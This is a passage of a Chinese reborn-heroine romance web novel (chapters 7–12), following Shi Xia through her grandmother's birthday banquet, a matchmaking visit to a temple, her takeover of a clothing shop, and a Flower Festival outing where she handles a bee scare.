《重生后另择良婿,王爷红眼求名分》
第7章 寿宴乱
“景王殿下。”时夏稳住心神,福身,刚刚还含笑的脸颊不自觉带上了两分冷意。
她记得谢行不是没有收下邀请函,怎的又来了?
谢行没有开口,只是看着她。
时夏垂眸,掩藏眼底的几分烦躁。
又是这样审视的眼神,上一世也是,明明他们是夫妻,他却似乎总是高高在上。
谢行的目光毫不掩饰,院子里一瞬间陷入了死寂,一片尴尬的氛围。
时父搓了搓手,打起圆场,笑着开口:“夏夏,你祖母在花园等着你呢,还不快去?”
时夏点点头,又微微福身,疾步离开。
谢行的目光并没有从女孩的身上挪开,看着身影逐渐走远。
跑得倒挺快。
“景王,今日是在下母亲寿宴,王爷若是不嫌弃,留下来吃个饭?”时父这话说是在挽留,实则在赶人。
你要说的事情也说完了,现在我要投入到寿宴中,你总该走了吧。
大家都不觉得谢行会留下,毕竟送去景王府的邀请函都被退回了,谢行又怎么可能同意这随口一句客套?
“那便打扰了。”男人微笑,吐出几个字。
“那我找人送送王爷......嗯?”时父顿住,大惊,显然没想到谢行会同意:“......我这就给王爷带路。”他赶紧补充道。
“劳烦了。”
-
时夏到时,祖母被几个夫人围在中间,不知说着什么好话,把祖母乐得笑烂了脸。
“祖母!”时夏扬声,挥了挥手里的扇子,向祖母打招呼。
祖母看见时夏,顿时高兴极了,眼底笑意更甚,把时夏拉到身边。
周围得婢女也极有眼力见,迅速搬了个椅子放在祖母椅子旁。
“这就是时小姐吧,出落得越发水灵了!”
“就是,我听说时小姐的课业在姑娘中也是领先的呢!”
“要是我家那孩子也这般我不知要省多少心!”
几个夫人争先恐后的夸赞着时夏,简直把时夏夸到了天上。
时夏浅笑,微微低着头,害羞极了。
但其实心里并没有因这些话泛起什么涟漪,这样的客套话,她上辈子嫁给谢行后,听得太多了,现在听着,实在是没有什么感受。
但样子还是得装装的。
“张夫人又拿我开玩笑。”时夏娇嗔,一副羞涩的模样。
“好了好了,不说你了。”祖母拍了拍时夏的手,和夫人们说起别的话题。
时夏就静静的坐在祖母身旁,时不时帮祖母倒杯茶,贴心极了。
“走吧,该去宴厅了。”见时间差不多,祖母发话。
一群人浩浩荡荡地往宴厅走去。
时家并没有特意将男女座隔开,而是一侧是男子,一侧是女子。
时夏本因坐在后面些,但这本就是时家的寿宴,加上时家宠她,位置仅次于江氏。
她安静坐下,目光下意识投向对面,那边的首位竟是空的。
还有谁没来?
她摇了摇头,父亲母亲既然没有说什么,那应该是没有什么问题的。
目光小心翼翼地在对面搜寻起来,她记得昨日问的,许临的位置是在......第八个?
时夏数过去,下一秒,沉默了。
那个位置上,坐着的是一个年近四十的长胡子中年男子。
她咬了咬唇,不是说许临身高八尺,年轻俊朗吗?这......传言这么不可信吗?
不过那男子的后一位,模样倒是不错。
白衣翩翩,玉树临风,赏心悦目。
寿宴已经正式开始,首位依旧空荡。
“愿老夫人寿比南山终不老,福如东海水长流!”
众人一个接着一个的祝寿。
时夏也不羞涩,大大方方,举起茶杯:“祖母寿辰快乐!愿祖母春生夏明朗,秋祺冬瑞康。岁岁常欢愉,事事皆如意!夏夏已经把礼物偷偷放在祖母房里啦!”
时夏眼眶忍不住微微发红,她又想起了前世。
祖母的身体突然垮掉,本来和蔼的老人一下子虚弱的连床都下不了,整日只能透过小小的窗户感受外界。
这一次,她绝对不会让悲剧重演!
简单的祝词,却让祖母乐极了:“好好好!那祖母可就期待着夏夏的礼物了!”祖母喝下茶。
突然,一阵声音传来:“景王到!”
时夏喉中的茶水还未咽下,听到这话,猛地呛得咳嗽起来。
只见来人一身墨衣,虽是墨色,却和早上她看见的那件不一样,领口交织着几缕红色,给沉闷的黑增添了几分颜色,衬得他更加风神俊朗。
哪怕时夏和他相处了这么久,也不得不承认,谢行的容貌是如何也看不腻。
谢行抬手作揖,一个方形的盒子从袖中显露出来,不知里面装的是什么,他只是淡淡开口:“听闻老太太今日寿辰,一点小礼,聊表心意。”
顿时宴厅一片哗然,本来谢行出席就已是十分令人意外了,谢行送出的礼,更加不可能普通。
前些时日传闻时家也会和林家一样的自然谣言不攻自破了。
谢行亲自来贺寿,就是林家的鼎盛时期也没有这样的待遇。
时夏皱眉,她明明特意确认过谢行没有接受邀请的啊?
“小姐!”兰香有些打趣的看着时夏,下巴往谢行那边挑了挑。
虽然时夏说不喜欢谢行了,但兰香并不这么觉得。
在她看来,自家小姐喜欢了谢行这么多年,哪里会这般容易改变?
更何况现在谢行已没有婚约在身,自家小姐这般优秀,急的应该是谢行。
小姐就该多晾着谢行。
时夏叹气,看来得找个机会彻底改变众人的印象:“兰香,不可胡闹。”
她微微蹙眉,语气里多了几分严肃。
兰香只好弱弱点头,为时夏再倒了一杯茶水。
时夏手指不自觉地卷着发尾,刚才美好的心情又因为谢行有些烦躁。
她深呼吸,努力让自己不要因为谢行而被影响。
“王爷有心了,快快请坐!”这是祖母第一次站起身来道谢。
谢行颔首,径直走向首位,坐下。
时夏目光跟过去,那位置竟然是留给谢行的吗?
下一秒,谢行似乎感受到了时夏的目光,抬眼,时夏猝不及防的就这么和谢行对视上。
她赶紧低头,喝了一口茶,假装无事发生。
谢行轻转酒杯,脸上挂着似有若无的笑。
胆小。
突然,门口又传来一阵热闹。
“三皇子到!”传报的声音再次传来。
第8章 寿宴争
宴厅内再次一片哗然,谁能想到,这时府老太太的寿辰,竟能同时邀请到三皇子和四皇子。
毕竟,除了身份尊贵以外,两位皇子的关系,可谓是水深火热。
事实上,时府众人也满是震惊。
因为他们根本就没有向三皇子送邀请函。
时夏从贤妃那里回来那次,有提起过发生了什么。
时府众人自然也心知肚明三皇子的意思,既然时夏不乐意,他们自然要避开三皇子。
可谁能想到,这三皇子,竟然不请自来了。
时父赶紧起身,迎上前,客套开口:“竟不知三皇子要来,没有提前布好位置,怪我怪我。”
“诶,时大人何必说这话,是我贸然前来,没有提前说。时小姐是幼妹的救命恩人,时家有喜事,我自然得来祝贺一番。”三皇子挥挥手,侍从便将礼品献上去。
“这盒子里是一颗夜明珠,还望老夫人笑纳。”
宴厅再次热闹起来。
这夜明珠可遇不可求,三皇子竟然舍得就这样送出来,可见其心意。
可时家众人却皆是皱眉,三皇子这般行为,是图什么他们心里都有数。
祖母自然不会驳三皇子的面子,只是笑意淡淡了些,只维持着体面:“多谢三皇子,快快请坐。”
“我听闻四弟也在,我和他坐一块就行。”三皇子阻止了下人搬桌椅的动作,轻摇折扇,笑意盈盈。
“哦?三哥不怕我下毒?”谢行冷脸,毫不留情。
宴厅陷入死寂。
四年前,三皇子到谢行府上谈论事情,刚回自己府上,便腹痛难忍。
经太医诊断,是中了毒。
皇帝把这件事压了下去,但大家多少也听闻过一些风声。
三皇子笑意也僵住,他没想到谢行居然会当众提起这事,眼神里多了几分狠色。
要说最急的,自然是时家。
谁能想到两人会一同出现,还闹得这般僵。
时夏攥紧绣帕,有些焦急。
她只想好好给祖母过寿,他们的矛盾,她没兴趣参与。
正当时夏着急,一声爽朗的声音传来。
“三皇子,若是不嫌弃的话,坐我的位置吧,我和景王挤一挤。”是刚才时夏在心中暗自感叹的白衣男子,他又补充到:“三皇子放心,我还没有用过桌上的食物,都是干净的。”
三皇子收起折扇,道谢:“多谢许公子,还未祝贺许公子考上状元呢。”
可笑意并不达眼底。
谢行坐在首位,他却只能将就着坐在偏后的位置,这不是打他的脸吗?!
可偏偏许临这样说,他还没有拒绝的余地。
时夏松了口气,紧绷已久的脊背终于微微放松。
“小姐,那就是许公子啊。”兰香俯身耳语。
时夏这才想起来刚才三皇子说的话。
想来是因为临时给谢行加了一个位置,许临便从第八个到了第九个。
因为这一出,她对许临印象又好了几分。
模样好,才学佳,还为时家解了围。
这样想着,时夏端起碗,眼神却偷偷抬起,向首位看去,想再观察观察这许临。
可眼神却直直撞上了谢行,幽深的,熟悉的目光。
-
终于,午饭结束。
夫人们跟着祖母去看唱戏的,男子们聚在一起,谈论政务。
“幺幺,今日天气好,你带着姑娘们去花园转转吧。”老太太知道小姑娘们静不下心来看戏,也不强留。
于是,时夏一行人浩浩荡荡的往花园走去。
春日里,花草生长,一群如花似玉小姑娘的小姑娘聚在一起,空气中似乎都多了几分芳香。
虽是让时夏带着大家玩耍,除了前面大家一起聊了几句外,姑娘们也逐渐分散开,三三两两聚在一起聊天。
“夏夏!”颜挽笙憋了一上午,终于找到机会了,冲上来挽着时夏:“你不知道,我一个人可无聊了!”
时夏笑笑,帮颜挽笙扶正歪斜的发簪,调侃:“我看你一个人偷偷喝果酒喝的可开心了。”
颜挽笙撇撇嘴:“太后不让我喝,你可千万别说!”
“好!”
“夏夏,如今这林家倒台,未来的景王妃可不就只能是你了!”高家的小女儿高希凑过来,声音丝毫未压低。
时夏蹙眉,有些不满,碍于她年纪小,也耐心开口:“高小姐,慎言。”
“我没有乱说啊,你看,这四皇子今日都特意来府上了,这不就是在暗示你嘛。”高希没有听懂时夏的意思,觉得自己说得很有道理,又想要吹捧时夏,当即准备继续分析起来。
时夏微笑:“高小姐身体不适,兰香,还不快带高小姐去客房?”
高希有些懵,“夏夏,我......”
她话未落下,兰香便已扶着她:“高小姐,请吧。”
她对上时夏的眼神,这才反应过来自己刚才的话语,怏怏开口:“......劳烦了。”
看着高希被兰香逐渐带远的背影,颜挽笙忍不住感叹:“夏夏,你真是越来越雷厉风行了。”
她没有开玩笑,刚才时夏的气势,她在旁边感受得最是清楚。
强势的、不容拒绝的。
怎么感觉有点似曾相识。
她把时夏往边上拉了些,左右观察了一下,小声开口:“不过那高希也没有说错,这三皇子和景王估计都是为你而来,你怎么想?”
“没什么想法。”时夏摘下一朵开得娇艳的花。
“什么叫没什么想法?你以前不是最爱跟在景王身后跑?”
“你也说了,那是以前。”时夏转了转手里的花。
“夏夏,你......”颜挽笙不好直说,手胡乱比划了两下。
两人多年密友,时夏自然明白颜挽笙的意思,思索片刻,决定还是告诉颜挽笙:“其实我想了想,从前我对景王应该更多的是崇拜吧,仔细想想,我也没有几分喜欢吧。”
反正她们不知何时,已经走得离人群很远,几乎是到了偏僻的角落里,没有人能听到。
“而且,这次林家出事,林月白去求他帮忙,他连见面都不肯,这样冷漠的人,怎么能嫁?”时夏又补充道。
“也是。”颜挽笙回忆了一下,觉得时夏说得很有道理:“那三皇子呢?他性格应该挺好。”
“三皇子?”她摇摇头。
“也是,我听说,九公主落水的事情,可不简单!”
时夏赶紧捂住颜挽笙的嘴:“嘘!”
颜挽笙赶紧噤声。
“那你觉得谁毕竟合适呢?”
“嗯......许临吧,就是今年的状元郎,模样好,才学佳,品行看起来也不错......”两人边说边走着。
待两人走远,假山后走出两个道身影,一黑一白。
正是刚才被讨论的主人公。
第9章 永安寺
祖母的寿宴有条不紊的结束了。
时夏刚回到内厅,就见几双眼睛从各个方向盯过来。
她有种不好的预感,打了个哆嗦:“怎么了?”
“夏夏,今日那许公子,你瞧着如何?”江氏先开口。
其实若不是时夏,他们之前并没有考虑过许临,但今日一看,确实不错。
若是时夏也满意的话,那便可以计划着正式见面了。
“许公子人挺好的。”时夏回忆了一下今日宴厅里的场景。
帮时家解了围,不错。
“好好好。”祖母慈祥的笑,她也对许临印象不错,“只要幺幺满意就行。”
-
这几日,时夏一直在思考,祖母的身体到底怎么会突然垮掉。
“幺幺!出来晒晒太阳吧!”这不,祖母又喊上时夏:“别整日呆在屋里,对身体不好。”
“好!”时夏软声应道。
祖母平日里很是注重养身,早睡早起,还经常锻炼身体,到底是哪里出了问题?
时夏挽着祖母,脑袋也不住思考。
“祖母,你有没有感觉哪里不舒服啊?”时夏决定还是先开口问问祖母。
“祖母的身体幺幺还不清楚?”祖母笑着点了点时夏的额头:“就是幺幺想像幼时一样让祖母像背着你走,也是轻轻松松的。”
时夏笑了笑,娇嗔:“祖母!”
“好好好,不逗你了。”祖母笑得更加开心了:“那许家公子,我遣人去问了,五日后,可在永安寺见。”
“好。”时夏脑袋靠在祖母肩上,掩下眼底思虑。
......
时夏一早便被兰香喊起,梳妆打扮。
“小姐,认真些,今日可是您和许公子的第一次正式见面呢!”兰香看着时夏这副随意的样子,恨铁不成钢。
“好好好。”时夏敷衍着。
终于,时夏脖子都酸了,兰香帮她完成了梳妆。
一袭青衣,头上簪着精致的发饰,一张小脸上是大大的眼睛,明眸皓齿,好看极了。
“夏夏可收拾好了?”江氏进屋,看着自己的女儿,不禁有些感叹。
夏夏竟也到了相看人家的年龄。
“娘,怎么样?好看吧!”哪怕已经是活过一世的人了,在母亲面前,依旧也是个孩子。
“好看,夏夏是最美的。”江氏毫不吝啬夸赞。
时夏这才满意,挽上江氏的胳膊,出门去。
马车摇摇晃晃的往永安寺走去。
几人到时,许临和许夫人已经到了。
“让夫人和公子久等了。”江氏率先下马车,和许夫人客套起来。
站在一旁的许临不知怎的,和前几日相比,眼底多了几分疲倦,和前世谢行连着几日处理政务的状态有些像。
“没有没有,这便是时小姐吧,哎哟,模样真是俏。”许夫人也是一把好手:“要我说,还是生女儿好,又乖又贴心,不像我家这小子。”
“诶,话可不能这么说,我可记得,今年的状元可是落在许家呢。”江氏拍了拍许夫人搭在她手背上的手。
时夏对这样的互夸已经见怪不怪,许临倒是显得有些羞涩尴尬,无措的看着远处。
她突然生出了逗弄的心思:“许公子,是这太阳太大了吗?怎的脸这般红。”
江氏和许公子这才注意到,顺着看过去。
可不是太阳大嘛,整张脸,连着脖子耳朵,都红了个遍。
许夫人笑道:“这小子!”
许临更加无措了。
他在朝堂上可谓是滔滔不绝,今日母亲只说是带他来永安寺,他完全没有想到是来和时夏相看。
想起前几日和谢行一起在时府听到的一番话,尴尬之意更甚。
最后还是江氏开口:“这进入了春日,太阳确实毒,走吧,也别都在这里干站着了,去里面凉快些。”
几人这才正式进入永安寺。
“既然是寺庙,那顺便去摇根签吧。”许夫人提议。
时夏自从重生后,对寺庙不由得多了几分相信,不再像从前那般全然不信。
她思索片刻,抬步。
虔诚的闭上眼,默默在心里提问:祖母的身体会好起来的吧。
随后,摇签筒,很快,一根签掉落在地。
她弯腰拾起,递给庙里的小和尚。
小和尚沉吟片刻:“施主需耐心,只要坚定不疑的走下去,你心中所想必能实现。”
时夏欣喜,心里莫名松了一口气,露出笑容,双手合十,鞠躬感谢:“多谢小师傅。”
“你也去求一个吧。”许夫人把许临也推了上去。
“啊?”许临只好上前,随意的摇了几下。
“恭喜公子,上上签。”小和尚开口。
许夫人大喜:“你问的什么?”
“仕途。”许临淡淡开口。
许夫人的笑容僵住:“我是让你来问这个的吗?重新去问!”她恨铁不成钢的拍打一下许临的肩膀。
许临却摊开双手:“娘,这寺庙规定,一人一年只能求一次签。”
许夫人更气了,碍于江氏和时夏还在这里,不好发作。
她歉意的笑了笑:“让二位见笑了,怪我,怪我没有提前给他说。”
江氏打圆场:“无事,许公子仕途顺,那也是千万人所求了。”只是眼底笑意淡了些。
“夏夏无聊了?”许夫人对时夏的称呼又亲切了几分:“这春日风景正好,许临,去,陪夏夏逛逛。”
许临点点头,发出邀请:“时小姐?”
“劳烦许公子了。”
这永安寺有专人打理,又是春日,花草种类繁多,且都长得茂盛,风景确实好。
“许公子。”时夏出声,眼眸含笑。
许临回头,猝不及防对上时夏的眸子,有一瞬间的慌乱:“时小姐?”
时夏轻笑了一声:“想必许公子心中也明白我们今日见面是为了什么。”
许临沉默。
“不知许公子心中作何想法?”
“......时小姐很优秀,许某不配。”半晌,许临才开口。
时夏斜抬起扇子,虚挡在额头上方,避开有些刺眼的阳光:“许公子的意思是,拒绝?”
还未等许临回答,时夏再次开口:“因为景王吗?”她唇角微微勾起。
不知是不是许临的错觉,他竟然觉得,时夏的眼神,带了几分蛊惑。
许临摇了摇头,否定掉自己,应当是自己想多了:“时小姐合该配最优秀的男子。”
“若是我说,我认为你便是那最优秀的男子呢?”
第10章 纺衣铺
“小姐,您今日是何意思呢?”夜里,兰香仔细地为时夏取头上的发簪:“那许公子虽是状元郎,可京城里优秀的男子不止他一人。”
兰香不满许临,她家小姐这般优秀,许临居然还拒绝。
“我知道的。”时夏浅笑
京城里优秀的男子确实很多,可许临却是发展得最快最好的一个。
而且,他深受谢行看重。
时夏自然不是简单地想和许临订婚,或者说,她并没有打算和许临真正的有所发展。
谢临不是忌惮时家?那时家就和他最信任的手下接触。
她要的,是让谢行和许临有隔阂。
如果能让许临为她所用,自然是更好。
许临在谢行手下,前世的很多事情,和他应该都脱不了干系。
......
“娘,家里可有闲置的铺子?”时夏靠在江氏身上,软声。
“夏夏想要?”江氏失笑:“现在想要了?从前让你学着管理铺子,你还不乐意呢。”
“娘!”
“行,我手上有几家铺子,生意不错,你拿去吧。”对于女儿,江氏一向很舍得。
时夏却摇头:“娘,我要两家一般的铺子试试手就好。”
江氏有些诧异,没想到时夏会拒绝,但也点头:“好,我晚些就派人把店契给你拿过来。”
时夏仰头,露出笑容:“娘,你真好!”
她得为时家准备两条路,若是找不出那幕后之人,护不住时家,她便想办法让父亲主动辞官回乡,多赚点钱,总能为今后做些准备。
两日后。
时夏换了一身低调的装束,带上帏帽,白纱垂下,遮住面容。
她今日并没有告诉铺子里的人她要过去,甚至特意嘱托,先不要告诉店员们。
她准备先探查一下情况。
店铺的位置并不好,甚至有些偏僻。
平时鲜少有人会经过。
时夏走进铺子,店里冷冷清清,只有两个人。
掌柜坐在里面,漫不经心,哪怕听到有人进门的动静,也只是淡淡瞥了一眼,又继续看起了话本子。
另一人则在打扫卫生,见时夏来了,连忙放下扫把,迎上前来。
“姑娘可有看得上的?”那人额角微微出汗,却毫不在意,似乎充满了干劲。
时夏暗暗打量了一下店铺,沉吟:“可有推荐的?” “姑娘,这条青色的衣裙如何?”皎皎指向一款。
“还有吗?”
“嗯......这个浅黄色裙子呢?春日里再合适不过了。”
时夏轻轻摸了摸布料,摇头。
“那这条呢?这布料很舒服的!”
......
皎皎接连推荐了好几款衣裙,时夏都不满意。
一旁的掌柜不耐烦了:“我们要歇店了,请回吧。”
时夏皱眉,但还是柔声道:“现在不过未时,怎的就要歇业了呢?”
“我管理这家店,我说了算!”那人眉目一横,厉色扫向皎皎:“还不请出去!”
皎皎有些为难,此时自然不是歇店时间。
她虽刚来这店里没多久,但也清楚,这店铺主家平时不管,都是此人说了算。
掌柜的一向是对生意好坏毫不在意的,且东家每月都是按时发放固定月银,掌柜自然是越清闲越好。
皎皎无奈,咬唇开口:“抱歉,这位姑娘,我们......”
她话未说完,只听面前传来一声轻笑。
时夏摘下帏帽,微微歪着脑袋,目光直直射向掌柜:“哦?我倒是从未听说,这个点歇店呢。”
掌柜大惊失色:“小,小姐?!”
明明这么多年来,时家都没有人来看过这店铺的!
她心里懊悔不已,讨好开口:“刚才不知竟然是小姐,小姐随便挑,随便挑!”
时夏也不再留面子,面色冷下来:“兰香。”
“是。”兰香点头,随即走到掌柜面前:“另请高就吧。”
掌柜瞪大双眼:“什么!我,我是当年老爷亲自派来管理的!小姐怎可随意撵走我!”她越想越觉得有理:“我在这家铺子这么多年,没有功劳也有苦劳!”
时夏无辜地看过去:“哦?这样吗?”
兰香拿出店契:“这家店,现在我家小姐说了算。”
随即挥了挥手,进来两个侍从,把掌柜拉出去。
时夏就这么笑眯眯地看着。
嫁给谢行几年,别的没学到,但她最知道的便是,当权力握在手里时,任旁人说什么,都不过是一个笑话。
皎皎惊呆了,愣了几秒,猛地跪下:“时,时小姐!”她埋着头,不敢看时夏。
时夏却不像刚才对掌柜的那般,而是弯下腰,拉她起来,笑着开口:“跪什么?快起来。”
用人之道,一是要让她感受到权威。 这第二,则是要让她知道,东家不是不讲道理的。
皎皎局促不安。
时夏却安抚地拍了拍她的肩膀:“你叫什么名字?”
“我,我叫皎皎......”
“皎皎?”时夏轻轻抚开她微微散落的刘海:“皎皎白驹,在彼空谷。好名字。”
“谢,谢时小姐。”
“你愿意继续在这里做下去吗?”
皎皎惊喜,抬头,眼里仿有繁星:“愿意的!”
时夏满意:“好,那以后,你就是这家店的掌柜。”她又补充到:“不过,我需要你帮我一个忙。”
皎皎不敢相信,她竟然成了掌柜!
“皎皎定尽全力帮小姐做事!”她举起手,要发誓。
“好。”时夏扫视了一眼店铺:“这店里的衣服,虽然款式多,但很多都是旧款式了,且用的料子也都是普通料子。”
“我想要开一家以质量著称的铺子,这样的话,位置偏僻这个劣势反而能成为我们独特的优势了。”
皎皎有些懵,不明白时夏的意思。
但时夏没有打算解释:“走吧,先跟我去一趟云杉纺。”
云杉纺的掌柜早已恭候多时,笑道:“时小姐,三楼请。”
云杉纺是京城生意最好的布纺衣铺,一楼二楼都用于摆放布料和成衣,三楼则是雅间,京城贵人常在这里小聚。
时夏几人在包间坐下,她抿了一口茶。
“掌柜,我来是有一事相谈。”时夏示意兰香。
兰香心领神会,掏出几张稿纸。
掌柜欣喜:“这......”
“掌柜,我这设计图,如何呢?”时夏前世嫁给谢行后,闲来无事时便会简单画一画,后来拿去云杉纺,没想到备受好评,她便有空就设计一些。
“时小姐的设计当真是绝无仅有啊!”掌柜敢肯定,若是设计出来,必定会被一抢而空!
“既如此,做个交易如何?”时夏将设计稿折叠起来:“我每月可向掌柜提供五套以上的设计稿,但掌柜许每月需用各款布料各30匹来交换,如何?”
“这......”掌柜有些犹豫。
“掌柜,这做出来能赚多少钱,想必你是清楚的吧,并且,设计图我只提供给云杉纺,如何?”时夏微笑。
“这,我需向东家请示。”掌柜作揖。
这倒是在时夏意料之内,她起身:“好,那我就静待掌柜佳音了。”
随后,利落转身,离开。
雅间暗门被缓缓打开,竟然还有一个雅间。 而雅间中间的桌前,坐着一人,赫然是谢行。
第11章 花朝行
掌柜作揖,恭敬十足:“王爷。”
本应该离开的皎皎也出现:“王爷。”
“嗯。”谢行给自己倒了一杯茶水,没有分半个眼神出去:“继续吧。”
-
时夏这几日都忙着画设计图,虽然云杉纺没有当天给她准确的答复。
但商人逐利,这个道理她再清楚不过。
这不,才第三日,云杉纺那边就传信来了。
时夏等到收信后的第二天,才施施然地去往云杉纺。
“时小姐。”掌柜的态度明显比前几日更加热切了。
时夏笑容得体:“掌柜,考虑得如何了?”
“我们东家说,三十匹可能不太行,最多25匹。”
这倒是在时夏意料之中,她猜到云杉纺这边会想要减少,所以报的时候,也特意多报了些,25匹,正是合适。
不过她还是装似为难:“这......”她叹气,拧眉,纠结。
“您也知道,我这设计定是稳赚不赔的。”
“这是自然,可惜东家那边只愿意给这个数字,我也没办法啊!”掌柜叹气。
时夏摇摇头,无奈极了:“好吧,放眼整个京城,也就云杉纺的衣服质量最好,这些设计都是我的心血,我相信这设计给云杉纺,定是会被好好对待的!”
掌柜顿时眉开眼笑:“多谢时小姐信任!那......我们现在便签契约?”
“自然。”
......
时夏撑着脑袋,专心致志地设计起衣服来。
过些时日便是花朝节,正是一个宣传的好机会,她必须得设计几套特别的衣服来。
所以这几日,时夏可谓是忙得脚不沾地。
既要设计衣服,还要和皎皎一起把衣服做出来。
她关于制衣的唯一经验,也就是前世嫁给谢行时,在嫁衣上绣的鸳鸯了。
好在皎皎对此很擅长,虽也未学过,但她似乎对此很有天赋。
这些时日铺子都没有开门,时夏找了专人教皎皎制衣,当然,制衣不能全压在皎皎身上,她也在找其他合适的绣娘。
同时,店里从前那些没有卖出去的衣服,她都让人私下里低价拿去卖了。
否则放在这里十年二十年都不能卖出去,低价至少还能回回本,作为前期的资金。
终于,在花朝节前几日,赶制出了衣服。
按当朝花朝节习俗,每年都会选出一个女子,作为花神。 而正巧,时夏便是今年的花神。
所以这衣服款式她设计的十分繁华精致。
今年的主题是“芙蓉”。
她便以粉白为底色,进行设计。
衣裙的上面是粉色,绣着芙蓉花,还用金丝线穿插着,作为点缀。到了腰部,粉色渐褪,逐渐转变为白色,裙子从腰间开始,紧紧系着,更显得腰细。裙子的下半部分又逐渐转为粉色,芙蓉花再显。外面的衣袍也是同样的配色方式,和衣裙相互映衬。
且时夏用的布料极好,是宫中赏赐下来的。
柔软又舒适,虽是层层叠叠的裙子,却不会厚重。
这套衣裙还有许多特别的小设计,被阳光照射时,会有微微的细闪,且采用的全手工绣制,整套衣服上,充斥各种特别的绣花。
她还给颜挽笙也设计了一套,虽没有她这套这般华丽,但也是十分特别,款式新颖,极适合她。
很快,花朝节至。
时夏一大早便开始收拾起来。
这花朝节分为两天。
第一日是游春扑蝶和簪花赏春,第二日则是祝神集合和花朝宴。
同时,在这两天,还有花朝集市,以供人们玩乐。
她本就生的美,再配上精心搭配的收拾和衣服,真的宛若花神下凡一般。
时夏满意的打量着铜镜里的自己,身材纤细,面容姣好,头上配着芙蓉配饰,当真是完美极了。
“小姐,你真美!”哪怕跟在时夏身边多年,兰香还是忍不住感叹。
时夏轻笑:“走吧。”她拿起扇子。
因为时夏是花神,所以姑娘们都来了时府,再由宫里统一护送。
“夏夏!”时夏刚出去,颜挽笙就冲了过来。
“裙子怎么样?喜欢吧。”时夏和她并排走着。
“真的超级好看!你可不知道!今日有好几个人来问我在哪里买的裙子呢!”
贵女们见时夏出来了,也都逐渐聚集在一起。
“时姐姐。”是高希,她先是被时夏惊艳一瞬。她本是为了和时夏缓和关系,可一见到时夏,就知道根本不需要半点虚言:“时姐姐可真好看!连裙子也是从未见过的款式!”
时夏笑:“多谢,妹妹今日也很美。”又补充道:“妹妹若是喜欢这裙子,我过几日可把店家名告诉你。”
“真的吗!谢谢时姐姐!”高希欣喜,时夏应该没有再计较她那日的话了吧。
“大家久等了,现下时辰差不多了,走吧。”时夏带着各贵女出府去。
府门口停着数辆马车,周围围满侍卫。
毕竟是整个京城的贵女共同出行,万不能出任何意外。
时夏向最前方的马车走去,花神的马车,明显要更加豪华精致许多。 可当她走近,看到最前面,骑在骏马上的背影时,浑身一僵。
那人身姿挺拔,冠着高马尾,骑在领头的骏马上,夺人眼球。
哪怕是背影,但只需一眼,她也看出,这是谢行。
明明前世不是谢行负责护送的,时夏微微蹙眉。
“小姐?”兰香有些奇怪。
“无事,上马车吧。”时夏稳住心神。
难道是因为前世的这个时候她已经几乎确定好和谢行订婚了,而这一世,她却没有这个打算。
但谢行想要时家的势力,必然要想办法与她订婚,就像祖母的寿宴时一样。
搞清楚这一点,时夏放松了许多。
只要她不愿嫁,谢行总不能强娶。
待贵女们都上了马车,一行人浩浩荡荡的出发,前往郊区。
郊区有一片专人负责的花海,那里有各种品类的花,一到春日里,漂亮极了。
很快,马车停下来:“小姐。”
时夏“嗯”了一声,掀开马车车帘,却猝不及防看见谢行。
他已从马上下来,站在他的马车前,目光直直地投过来。
很久没有看见谢行了,时夏忍不住有些愣神,谢行现在......确实要青涩些。
她收回目光,当做什么也没有发生。
扶着兰香的手下了马车。
她微微福身,向谢行行礼,随后便目不斜视的朝前方走去,不多分一个眼神。
花海真的很美,春日里,蝴蝶在花中飞舞。
谢行在不远处,倚靠着树,竟比以前多了几分不羁。
他目光投向在花海里嬉笑的粉群少女。
她还真是变了。
突然,花海传来一阵骚动,伴随着几声尖叫。
第12章 蜜蜂事
“时姐姐,这花真好看。”高希一直跟在时夏身边,时夏也不好赶走她。
山茶开得正好。
高希弯腰,摘下一朵,递到时夏面前:“时姐姐,这花和你一般美!”说着,她就想把山茶插到时夏发间。
时夏往后退了一步,笑道:“我头上再放可就放不下了。”
高希点点头,觉得时夏说得对,于是把那山茶簪到了自己发间。
时夏蹙眉,又细细感受了一下,有一股浓烈的花粉香:“你今日用的熏香是什么?”
“我特意用的花果香!”高希以为时夏很喜欢她用的这款,今年是她第一次跟随大家一起参加花朝游春,为了应景,特意准备了花果味的熏香。
颜挽笙大惊失色:“什么?!”
高希有些懵,无辜地眨了眨眼:“怎么......啊!”她话还未说完。
就听耳边传来一阵嗡嗡声。
她浑身僵住,缓慢将脸转过去,赫然是一只蜜蜂:“啊!救命!”
她控制不住尖叫起来。
时夏眼疾手快,扯下她发间的山茶花,扔在地上。
可她身上的花粉气依旧很浓,蜜蜂依旧围绕在她旁边。
高希从未遇到过这种情况,吓得眼泪都流出来了:“呜呜呜时姐姐,救我!”
时夏表情严肃,吩咐兰香:“你快去把车上,我备的披风拿来。”
“有水吗?”
“有!有!”高希的侍女赶紧递上水壶。
高希害怕得有些发抖,时夏倒出一些水在手帕上,擦拭高希的皮肤:“别怕,这蜜蜂没有毒。只要你不动,它不会蜇你的。”
边说,她边用湿手帕擦高希的手臂脖子。
高希咬牙,努力让自己冷静下来,不要去想那蜜蜂,可耳边的嗡嗡声一直缠绵不绝。
兰香拿着披风回来,时夏将米白色披风给高希披上,系好。
“你看,这花纹喜欢吗?”时夏分散高希的注意力。
高希愣愣的,还有些抽噎:“喜,喜欢。”
“那我送给你好不好?”时夏笑。
“啊?”高希懵。
“看,它飞走了。”旁边的桃树上开满花,上面赫然有一只小小蜜蜂,正在勤劳采蜜。
高希紧绷的身体瞬间泄力,靠在侍女身上,大口喘着气。
“你要回马车换一身衣服吗?”时夏建议,再换一套,熏香味应该可以减少许多。
高希点点头,还有些惊魂未定:“多谢时姐姐。”随后便快步朝马车走去。 几米外,谢行在树荫处,轻笑一下。
看来,不需要他帮忙了。
“夏夏,你怎么知道这蜜蜂不会蜇人啊?”颜挽笙好奇,她竟然完全不知。
“偶然在一本书上看见了。”
“不愧是你,我可看不进半点书。”颜挽笙摇摇头。
前世,也是一个花朝节。
时夏那时已嫁与谢行,便没有再跟在小姑娘们出去。
在她的百般要求下,谢行才答应那天不办公,陪她出去转转。
她满心沉浸在欣喜之中,用上了最爱的熏香,全然忘记了容易招来蜜蜂。
果然,两人刚出去没多久,就有蜜蜂围着她飞。
她害怕极了,一手扯着谢行的袖子,一手挡着自己的脸,泪水和不要钱一般往下流。
当时谢行也是像她今天一样,那披风给她挡着。
然后用水擦她的胳膊、脖子。
不同的是,谢行是冷着一张脸,一点也不知道安慰她。
重要的是,还把她特意早起画的精致妆容也擦掉了!
时夏被蜜蜂吓得整张脸都埋在谢行胸口,紧紧地抱着谢行。
